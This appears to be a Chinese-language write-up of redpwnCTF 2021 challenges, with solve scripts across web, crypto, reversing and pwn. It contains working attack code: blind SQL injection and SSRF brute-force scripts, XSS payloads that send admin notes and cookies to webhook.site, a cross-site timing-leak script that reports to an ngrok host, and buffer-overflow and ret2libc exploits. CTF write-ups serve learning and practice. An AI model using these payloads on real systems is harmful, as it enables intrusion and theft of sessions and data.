redpwnCTF 2021 WriteUps

redpwnCTF 2021 的題目蠻有趣的,從簡單到不行的題目到困難的題目都有,最後 18 名。

題目名稱上有標 * 的代表的是我有試著解但是沒成功的題目,比賽結束後才把題目解掉。

Web

inspect-me

直接檢視原始碼。

orm-bad

標準的 ' or 1=1;--

pastebin-1

最基本的 XSS,直接拿 cookie 而已。

secure

用 curl 之類的直接發 request,繞過頁面上的 js 去 sqli,和 orm-bad 差不多。

cool

可以知道 register 的時候 password 有限制字元數的 sql injection,只是因為那邊是 insert 所以沒辦法直接 reflect 出來。方法是利用目標帳號 ginkoid 是資料庫中的第一條,直接 '||(select password from users)||' 可以把新註冊帳號的 password 變成 ginkoid 的 password。結合 substr 就能把新帳號的 password 變成特定的一個 char,然後去暴力找新帳號的密碼就能知道 password 的那個 char。反覆註冊帳號下去 blind sqli 就能拿到密碼。最後以 ginkoid 登入後看到的 mp3 的最後面 (直接 cat) 就有 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import httpx
import random

client = httpx.Client(http2=True)


def register(username, password):
resp = client.post(
"https://cool.mc.ax/register",
data={"username": username, "password": password},
allow_redirects=False,
)
client.cookies.clear()
return "redirected automatically" in resp.text


def login(username, password):
resp = client.post(
"https://cool.mc.ax",
data={"username": username, "password": password},
allow_redirects=False,
)
client.cookies.clear()
return "Incorrect username or password" not in resp.text


chrs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"


def generate_token():
return "".join(random.choice(list(chrs)) for _ in range(32))


pwd = "eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3"
while len(pwd) < 32:
u = generate_token()
print(u)
assert register(
u, f"'||substr((select password from users),{str(len(pwd) + 1)},1)||'"
)

for c in chrs:
if login(u, c):
pwd += c
break
print(pwd)

Requester

這題是一個 Java 的 server,一共有兩個 api 分別是 /testAPI 可以 SSRF GET 或是 POST,另一個是 /createUser 會在 couchdb 中建立新的 user,然後在裡面放入 flag 的 document。

/testAPI 會檢查 hostname 是不是 couchdb,如果是的話就拒絕 request,這部分可以用大寫繞: Couchdb。另一種方法是用 url encoding: %63ouchdb

而它雖然能 SSRF,回顯並沒有開,這邊可以利用 /testAPI 會檢查 response 有沒有 flag 出現的性質,結合 couchdb 的 REST API 去用 regex query 來一個字元一個字元爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import httpx
import json
import string

client = httpx.Client(http2=True)


def testRegex(rgx):
resp = client.get(
"https://requester.mc.ax/testAPI",
params={
"url": "http://supernene:supernene@Couchdb:5984/supernene/_find",
"method": "POST",
"data": json.dumps({"selector": {"flag": {"$regex": rgx}}}),
},
)
return "Something went wrong" in resp.text


chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

flag = "flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}"
while not flag.endswith("}"):
for c in chrs:
rgx = f"^{flag+c}.*$"
if testRegex(rgx):
flag += c
break
print(flag)

notes

這題的 note 的 tag 部分可以有最多 10 個字元的 xss,這部分可以用多段 payload 去湊。例如我用的是 <svg><set onend='...' dur=1> 這樣的 payload,正好有辦法把每段拆成小於 10 個字元。而真正的 js 部分我是用 template literal (需要的字數比 /* ... */ 少)去把多餘的 html 給忽略掉,然後 js 放在不限長度的 body 之中即可。

雖然只有 tag == 'public' 的 notes 才會被顯示出來,不過看 source code 可以知道 admin 有權限直接看到所有人的 note,所以直接 XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

username = "pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E"


def add_note(body, tag):
resp = requests.post(
"https://notes.mc.ax/api/notes",
cookies={"username": username},
json={"body": body, "tag": tag},
)
return resp.json()


data = [
{"body": "test", "tag": "<svg y='"},
{"body": "test", "tag": "'><set x='"},
{"body": "test", "tag": "'onend='`"},
{
"body": "`;fetch(`/api/notes/admin`).then(function(r){return r.text()}).then(function(r){location.href=`https://webhook.site/e9f9ee2f-1b87-4d45-81a3-6d1c79e77a51?data=`+encodeURIComponent(r)})`",
"tag": "`' x='",
},
{"body": "tests", "tag": "`'dur=1 '"},
{"body": "tests", "tag": "'></set>"},
]


for x in data:
print(add_note(x["body"], x["tag"]))

如果 admin 不能看到非 public 的 note 的話

在 source code 有一行 if (req.auth.username === 'admin') return notes;,不過這個我在解的時候完全沒看到這行,所以在想說要怎麼把非 public 的 notes 顯示給 xss bot 看。我用的技巧和 Google CTF 2020 的這個部分一樣,先利用其他題目的 XSS,由於他們只是在不同的 subdomain 所以可以先利用他們去只 set 特定 path 的 cookie 即可。

例如我是先把下面的內容放到 pastebin-1 中,然後讓 notes 的 bot 去瀏覽下面的那個頁面,先讓它把 cookie 設好之後再 redirect 過去就成功了。

1
2
3
4
5
6
7
<script>
set = function (x) {
document.cookie = x + ';domain=mc.ax;path=/view/pekomiko'
}
set('username=pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E')
location.href = 'https://notes.mc.ax/view/pekomiko'
</script>

requester-strikes-back

這題是 Requester 的進階版,唯一不同的是檢查 url 的地方。它會把 hostname 給 lowercase 之後檢查是不是 couchdb,之後先把 url 依 url encoding 的規則 decode 過之後再繞檢查一次 hostname,所以前一題的繞法都不能過。

這邊可以發現它檢查 host 的時候使用的是 new URL(url).getHost(),而 request 的地方是把 URI.create(url)Apache HttpCoreHttpClient 處裡。這部分可能會有的問題是 url parser 的不同,Orange Tsai 有個很棒的投影片簡單了介紹 url parser 的不同可能造成的問題: A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

我自己人工 fuzz 找到了像是這樣的 url: http://a@couchdb%00@a:5984,這個用 new URL(url).getHost() 會得到 null,但是在 Apache HttpCore 之中會被解析為 couchdb,所以就能對 http://couchdb:5984 發出請求了。

所以把之前的腳本稍微改一下就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import httpx
import json
import string

client = httpx.Client(http2=True)


def testRegex(rgx):
resp = client.get(
"https://requester-strikes-back.mc.ax/testAPI",
params={
"url": "http://supernene:supernene@couchdb%00@x:5984/supernene/_find",
"method": "POST",
"data": json.dumps({"selector": {"flag": {"$regex": rgx}}}),
},
)
return "Something went wrong" in resp.text


chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

flag = "flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}"
while not flag.endswith("}"):
for c in chrs:
rgx = f"^{flag+c}.*$"
if testRegex(rgx):
flag += c
break
print(flag)

其實這題還有個更簡單的 payload 是: http://a@couchdb:5984@a,只是這個在版本 4.5.13 已經被修好了,不過題目用的是 4.5.12 所以沒差。而我使用了 %00 的 payload 能在最新版(4.5.13)有效,代表這算是我找到了一個未知的新 bug 吧。

pastebin-2-social-edition

這題的 pastebin 內容用了新版的 DOMPurify 去 filter,可以放一些基本的 html 但不能用 <script> 之類的。這題的 admin bot 不只會 visit,還會在 paste 頁面的 comment section 留言。

此題唯一有機會 XSS 的地方是在於它 submit comment 之後如果看到有 error 就會把錯誤訊息用 innerHTML 放入頁面中,所以目標是要想辦法弄出 error 並弄出 custom message。

server side 的部份我找不到有什麼方法可以讓它產生自訂 error message 的地方,不過在它 serialize form 的部分有機會 prototype pollution,所以可以利用 form 去 dom clobbering 之後 pollute Object.prototype.errorObject.prototype.message,這樣自己塞假的錯誤 message。

要注意的地方有兩個,首先是 DOMPurify 似乎會自動把 name=__proto__ 給過濾掉,其他的 name 就能正常出現,我這邊是用 url encode 之後就繞過了: %5f%5fproto%5f%5f (因為它會 decode)。另一個地方是在它首頁 submit 的時候它會先 url decode,所以記得先執行 decodeURIComponent = x => x 再 submit。(用 curl 的當我沒說)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<form>
<fieldset name="params">
<div id="username">
<label for="author">Username:</label>
<input value="c8763" type="text" name="author" />
</div>
<div id="content">
<label for="content">Comment:</label>
<textarea name="content">c8763</textarea>
</div>
<input type="submit" value="Post Comment" />
<input disabled="" value="c8763" type="text" name="author" />
<textarea disabled="" name="content">c8763</textarea>
</fieldset>
<fieldset name="%5f%5fproto%5f%5f">
<input value="asd" name="error" />
<input
value="%3Cimg%20src%3D1%20onerror%3D%22location.href%3D'https%3A%2F%2Fwebhook.site%2Fe9f9ee2f-1b87-4d45-81a3-6d1c79e77a51%3Fdata%3D'%2BencodeURIComponent(document.cookie)%22%3E"
name="message"
/>
</fieldset>
</form>
<!-- Run `decodeURIComponent = x => x` in console before submitting!!! -->

pastebin-3

題目是一個可以創建 paste 和搜尋 paste 的服務,paste 的部份是以用 sandbox.pastebin-3.mc.ax subdomain 在 iframe 中顯示出來的。可以用 backtrick 直接在 subdomain XSS: `+alert(1)+`。flag 則是藏在 admin 的其中一個 paste 之中。

Unintended Solution

從 source code 可以看到它的 search 功能使用的是 python 的 generator,結合 next(),所以只會 lazy 的找到第一個搜尋到的目標而已。再來是 flag 會在 admin 的第一個 paste 之中。

方法就利用 CSRF 去新增一堆 paste 放入很多垃圾內容,例如 10000 筆 "a" * 1024。這樣搜尋 flag{ 的時候在第一個就會找到了 response time 就會很小,而搜尋 flagx 的時候因為是錯誤的,python 就只好繼續往下找,因為有很多很長的字串,可以顯著提升 response time。

之後就參考 XSLeaks - Network Timing 頁面的方法去實作 timing attack 即可 leak 出 flag。

我是先直接用 subdomain 的 xss 從我的 server 中 load 一個 xss.js,這樣修改比較方便。

xss.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function timeurl(url) {
return new Promise(res => {
const start = performance.now()

fetch(url, {
mode: 'no-cors',
credentials: 'include'
})
.then(() => {
res(performance.now() - start)
})
.catch(() => {
res(performance.now() - start)
})
})
}

async function avgRespTime(url, n = 3) {
let sum = 0
for (let i = 0; i < n; i++) {
sum += await timeurl(url)
}
return sum / n
}

function log(...args) {
console.log(...args)
return fetch('https://9a5c8db108b9.ngrok.io?log=' + args).catch(e => e)
}

function createPaste(paste) {
const ifr = document.createElement('iframe')
ifr.srcdoc = `<form id=frm action=https://pastebin-3.mc.ax/create_paste method=post><textarea name=paste>${paste}</textarea></form><script>frm.submit()</script>`
document.body.appendChild(ifr)
}

;(async () => {
// increase timing accuracy
// for (let i = 0; i < 10000; i++) {
// createPaste(
// 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
// )
// }
// log('done')

// some sanity check
log('TEST:flag', await avgRespTime('https://pastebin-3.mc.ax/search?query=flag'))
log('TEST:flaga', await avgRespTime('https://pastebin-3.mc.ax/search?query=flaga'))

// random pinging
setInterval(() => fetch('https://example.com'), 1000)

// bruteforce the flag
const charset = '{_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
let flag = 'flag{c00k13_b0mb1n6_15_f4k3_vuln}'
while (true) {
for (const c of charset) {
const t = await avgRespTime(`https://pastebin-3.mc.ax/search?query=${flag + c}`)
if (t < 150) {
flag += c
log(flag, t)
break
}
}
if (flag.endsWith('}')) {
break
}
}
})()

第一次先只執行 increase timing accuracy 的部份,後面幾次就只需要執行後面的部分即可。因為 xss bot 有 timeout 的緣故,需要自己在旁邊觀測並記錄已知的 flag 部分,重複 submit 很多次才能拿到完整的 flag。

這個雖然是 unintended,不過據作者說用這個方法解的人還不少

Intended Solution

可以注意到它的搜尋結果是用 flask 的 flash 顯示的,這個會把訊息放到 session 中,所以 cookie 長度會有變化。再來是利用 Gunicorn 可接受的 HTTP header size 預設是約 8k 左右,超過就會 HTTP 400。所以只要透過 subdomain 去把 cookie 弄到接近塞滿,這樣就能透過控制 cookie 大小知道 search 有沒有 search 到字串,這樣就也能 leak 出 flag。這個方法叫 Cookie Bomb 的樣子。

別人的 solution: https://gist.github.com/parrot409/6782796ba9be2088a57a679c27f4e037

*wtjs

這題是個只能用 ()*+=>[]_ 幾個字元的 js golf challenge,這題被人 first blood 的時候字數上線就剩下 342 了。

核心概念是用 window.name 去存放真正的 payload,所以要想辦法湊出 Function(Function('return name')())() 就能 XSS 拿到 cookie。

我主要是參考了這篇 JSF**k with only 5 symbols? 想辦法去湊出字元來,然後之後再想辦法簡化,不過我最後在比賽結束前最好只能湊到 346 字元:

1
(___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___+[])[_+[]+_])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___(__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[]+_]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[]+_]+__[_+_+_])())()

我是寫了這樣的腳本去湊,裡面用了一些 greddy 的策略去自動判斷最佳的變數名稱分配是什麼,不過 inline 的部分還是手動處裡,花了兩個小時從原本 420 字元左右壓到 346 字元,還是沒解掉...。

這邊的腳本直接輸出的結果是 345 字元:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
const MAP = {
one: '[]**[]',
fl: '[ONE>ONE]+ONE', // 'false1'
tr: '[ONE>[]]+ONE', // 'true1'
f: 'FL[+[]]',
l: 'FL[ONE+ONE]',
flat: '[][F+L+FL[ONE]+TR[+[]]]',
o: '(TR+FLAT)[ONE+[ONE]]',
s: 'FL[ONE+ONE+ONE]',
constructor:
'(FLAT+ONE)[ONE+ONE+ONE]+O+(FLAT+ONE)[ONE+ONE]+S+TR[+[]]+TR[ONE]+TR[ONE+ONE]+(FLAT+ONE)[ONE+ONE+ONE]+TR[+[]]+O+TR[ONE]',
space: '(FLAT+ONE)[ONE+ONE+ONE+[ONE]]',
m: '(ONE[CONSTRUCTOR]+ONE)[ONE+[ONE]]',
returnname:
'TR[ONE]+TR[ONE+ONE+ONE]+TR[+[]]+TR[ONE+ONE]+TR[ONE]+(FLAT+ONE)[ONE+ONE]+SPACE+(FLAT+ONE)[ONE+ONE]+FL[ONE]+M+TR[ONE+ONE+ONE]',
payload: 'FLAT[CONSTRUCTOR](FLAT[CONSTRUCTOR](RETURNNAME)())()'
}

const idmp = Object.create(null)
const idfreq = Object.create(null)
let idcnt = 1
let id = name => {
if (!(name in idfreq)) idfreq[name] = 0
idfreq[name] += 1
if (name in idmp) return idmp[name]
idmp[name] = '_'.repeat(idcnt++)
return '(' + idmp[name] + '=' + get(name) + ')'
}

let get = name => {
return MAP[name].replace(/[A-Z]+/g, m => id(m.toLowerCase()))
}

let code = id('payload')

global.name = 'console.log(48763)'

console.log(!code.match(/^[\(\)\*\+=>\[\]_]*$/))
console.log(code)
console.log(code.length)
// console.log(eval(code))

console.log(idfreq)

console.log('\ngreddy var name optimization\n')

const times = Object.create(null)
id = name => {
const sorted = Object.entries(idfreq).sort((a, b) => b[1] - a[1])
const idt = '_'.repeat(sorted.findIndex(x => x[0] == name) + 1)
if (idfreq[name] == 1) {
return get(name)
}
if (!(name in times)) {
times[name] = 1
console.log(name, 'FIRST', idt.length)
return `(${idt}=${get(name)})`
}
console.log(name)
times[name] += 1
return idt
}

code = id('payload')

global.name = 'console.log(48763)'

console.log(!code.match(/^[\(\)\*\+=>\[\]_]*$/))
console.log(code)
console.log(code.length)
console.log(eval(code))

console.log(times)

之後可以用 uglify 壓掉兩個字元,然後再把 ___ ([].flat) 函數蓋掉變成 Function,這樣總共壓掉 5 個字元,最後可以出來一個 340 的版本:

1
(___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___)[_+[_]])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___(__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[_]]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[_]]+__[_+_+_])())()

另一個別人提到的技巧是用 Function("_=name")()+Function(_)(),而 _= 字元可以用 (_=>_)+[] 去湊,可以有 323 (甚至更短)的字元數。

Crypto

scissor

ROT 忘記多少的 cipher。

baby

\(n\) 很小直接分解。

round-the-bases

一堆奇怪的 message,不過可以看出似乎有某種規律,我透過眼睛直接觀察之後感覺它像是 0 1,所以就直接用 0 1 就解出 flag 了...。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
with open("round-the-bases") as f:
data = f.read()

bits = ""
flag = ""
for x in data.split("9mTfc:..Zt9mTZ_:"):
if not x:
continue
if x.startswith("II"):
bits += "0"
elif x.startswith("K0"):
bits += "1"
if len(bits) == 8:
c = chr(int(bits, 2))
flag += c
bits = ""

print(flag)

就別人說它是一堆 encoding 混合: CyberChef

另外還有人推薦可以用 Ciphey 自動解這種 encoding,實測有效。

blecc

單純的 ECDLP,把參數輸入 sage 之後因為數字都很小,直接用內建的 discrete_log 就能解出來了。

yahtzee

這題的 AES CTR mode 的 nonce 只可能是 2~12,所以直接隨便 xor 掉之後根據已知的 plaintext (flag{) 去檢查剩下的內容是不是都是普通英文會出現的字元就能篩選一些 candidates。

之後寫點小程式去方便手動猜後面的字元,根據英文單字或是句法等等的規則一個一個字元去 recover 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from itertools import combinations
import string

data = []

# Use other script to prefetch the data first
with open("output.txt") as f:
for line in f:
data.append(bytes.fromhex(line))


def check_chr(n):
return n in list(map(ord, string.ascii_letters + string.digits + " {}_.,"))


def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))


# flag = b"flag{0h_W41t_ther3s_nO_3ntr0py}"
flag = b"flag{"
dt = {}
for a, b in combinations(data, r=2):
tmp = xor(xor(a, b), flag)
if all(check_chr(x) for x in tmp):
dt[tmp] = (a, b)

while True:
for i, s in enumerate(dt.keys()):
print(i, s)
print(flag)
idx = int(input("idx: "))
ch = ord(input("chr: "))
s = list(dt.keys())[idx]
a, b = dt[s]
flag = xor(xor(a, b), s + bytes([ch]))
newdt = {}
for s in dt:
a, b = dt[s]
tmp = xor(xor(a, b), flag)
if all(check_chr(x) for x in tmp):
newdt[tmp] = (a, b)
dt = newdt

scrambled-elgs

這題是在一個我不知道的 group 中的 ElGamal 加密,不過不知道那個 group 也沒關係,因為能發現 generator 的 order 非常小,直接讓 sage 算 dlog 之後解密就能拿到 flag 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
import json

with open("output.json") as f:
data = json.load(f)

n = 25000
Sn = SymmetricGroup(n)

g = Sn(data["g"])
h = Sn(data["h"])
t1 = Sn(data["t1"])
t2 = Sn(data["t2"])

a = discrete_log(h, g)

s = t1 ^ a
m = t2 / s
print(long_to_bytes(Permutation(m).rank()))

Keeper of the Flag

這題的 DSA 的兩個 \(k_i\) 比較特別,可以列式如下:

\[ \begin{aligned} s_1k_1&=s_1(p+H(m_1))=H(m_1)+xr_1 \\ s_2k_2&=s_2(p+H(m_2)+1)=H(m_2)+xr_2 \end{aligned} \]

其中的 \(p\) 是程式中的 pad,然後整理一下可得:

\[ r_2(s_1(H(m_1)+p)-H(m_1))=r_1(s_2(H(m_2+p+1))-H(m_2)) \]

裡面唯一的未知的變數只有 \(p\),所以解出 \(p\) 之後 recover \(k_i\),然後再算出 \(x\) 就能隨意 sign 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from sage.all import *
from Crypto.Util.number import *

# from Crypto.PublicKey import DSA
from random import *
from hashlib import sha1

rot = randint(2, 2 ** 160 - 1)
chop = getPrime(159)


def H(s):
x = bytes_to_long(sha1(s).digest())
return power_mod(x, rot, chop)


# LOCAL
# L, N = 1024, 160
# dsakey = DSA.generate(1024)
# p = dsakey.p
# q = dsakey.q
# h = randint(2, p - 2)
# g = power_mod(h, (p - 1) // q, p)

# x = randint(1, q - 1)
# y = power_mod(g, x, p)
# print("private key", x)

# SOLVE
p = int(input("p: "))
q = int(input("q: "))
g = int(input("g: "))
y = int(input("y: "))


def verify(r, s, m):
if not (0 < r and r < q and 0 < s and s < q):
return False
w = power_mod(s, q - 2, q)
u1 = (H(m) * w) % q
u2 = (r * w) % q
v = ((power_mod(g, u1, p) * power_mod(y, u2, p)) % p) % q
return v == r


pad = randint(1, 2 ** 160)

print("pad", pad)

_sign_i = 0


def sign(m: bytes):
global _sign_i
h = H(m) if isinstance(m, bytes) else m
k = (h + pad + _sign_i) % q
print("k", m, k)
r = power_mod(g, k, p) % q
s = (power_mod(k, q - 2, q) * (h + x * r)) % q
_sign_i += 1
return (h, r, s)


def calculate_secret(h, r, s, k, n=q):
return ((k * s - h) * power_mod(r, -1, n)) % n


# LOCAL
# h1, r1, s1 = sign(b"peko")
# print(h1, r1, s1)
# print(verify(r1, s1, b"peko"))
# h2, r2, s2 = sign(b"miko")
# print(h2, r2, s2)
# print(verify(r2, s2, b"miko"))

# SOLVE
print(b"peko".hex())
h1 = int(input("h1: "))
r1 = int(input("r1: "))
s1 = int(input("s1: "))
print(b"miko".hex())
h2 = int(input("h2: "))
r2 = int(input("r2: "))
s2 = int(input("h2: "))

P = PolynomialRing(Zmod(q), "x")
x = P.gen()
lhs = r2 * (s1 * (h1 + x) - h1)
rhs = r1 * (s2 * (h2 + x + 1) - h2)
f = lhs - rhs
pad = Integer(f.roots()[0][0])
print(pad)


k1 = h1 + pad
print("k1", k1)
x = calculate_secret(h1, r1, s1, k1)
assert power_mod(g, x, p) == y
print("private key", x)
# sig = sign(b"give flag")
# print(verify(sig[1], sig[2], b"give flag"))
# print(sig)
h = int(input("target h: "))
print(sign(h))
# flag{here_it_is_a8036d2f57ec7cecf8acc2fe6d330a71}

這題的另一個解法是先從 shattered.io 拿到 sha1 collision,然後拿到一樣的 \(H(m_i)\) 以及只差 1 的 \(k\),一樣能很簡單的列式解。

Rev

wstrings

這題直接 strings 看不到 flag,進 ida 一看會發現它用的是 4 byte 的 wide string (UTF-32),我直接用 gdb 把它 dump 出來就看到 flag 了。

dimensionality

進 IDA 可以看到它會先讀 29 char 的 input,然後經過一個 check input 的函數之後如果通過了就會用 input 去生出 flag 來。

生出 flag 的部份是 RC4

check input 的函數大致上是一個 11x11x11 的一維陣列上移動,可以移動的方向只有六個: -121 -11 -1 +1 +11 +121。陣列上的 0 代表不能踏到上面,1 代表可以走,而 2 是起點,3 是終點,而輸入就是要走的步驟。

這個也能詮釋為一個 11x11x11 的三維迷宮,要找一條能在 29 步以內走到終點的路線就能拿到 flag。

我是直接用 dfs 爆搜出解答,速度蠻快的。因為有多個可能的 input,但是只有一個能解出 flag,所以全部都試過一次即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>

char maze[2000];
char vis[2000];
char hist[100];
int deltas[] = {-121, -11, -1, 1, 11, 121};
const char *dmap[] = {"b", "u", "l", "r", "d", "f"};

void dfs(int cur, int deep)
{
if (deep > 29)
{
return;
}
if (maze[cur] == 3)
{
for (int i = 0; i < deep; i++)
{
printf("%s", dmap[hist[i]]);
}
printf("\n");
}
vis[cur] = 1;
for (int i = 0; i < 6; i++)
{
int nxt = cur + deltas[i];
if (0 <= nxt && nxt < 0x533 && maze[nxt] && !vis[nxt])
{
hist[deep] = i;
dfs(nxt, deep + 1);
}
}
vis[cur] = 0;
}

int main()
{
FILE *f = fopen("maze.bin", "r");
fread(maze, 1331, 1, f);
fclose(f);
dfs(0x54, 0);
return 0;
}

編譯: g++ solve.c -o solve -Ofast

執行: ./solve | xargs -I {} sh -c "echo {} | ./chall"

Pwn

beginner-generic-pwn-number-0

BOF 蓋掉 local variable。

Input 的 base64 版本:

1
////////////////////////////////////////////////////////////////Cg==

ret2generic-flag-reader

BOF 蓋掉 ret。

Input 的 base64 版本:

1
YWFhYWJiYmJhYWFhYmJiYmFhYWFiYmJiYWFhYWJiYmJhYWFhYmJiYvYRQAAAAAAACg==

printf-please

用 printf leak local variable。

1
please%70$p,%71$p,%72$p,%73$p,%74$p,%75$p,%76$p

ret2the-unknown

它在讓你 BOF 之後才給你 printf 的 address,所以第一次先 return 回 main,取得 address 之後第二次直接 return 到 gadget 上面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF("./ret2the-unknown")
libc = ELF("./libc-2.28.so")
# io = process("./ret2the-unknown")
io = remote("mc.ax", 31568)
io.sendline(b"a" * 40 + p64(elf.sym["main"]))
io.recvuntil(b"get there: ")
printf = int.from_bytes(bytes.fromhex(io.recvlineS().strip()), byteorder="big")
libc_base = printf - libc.sym["printf"]
print("printf", hex(printf))
print("libc_base", hex(libc_base))
gadget = libc_base + 0x4484F
io.sendline(b"a" * 40 + p64(gadget))
io.interactive()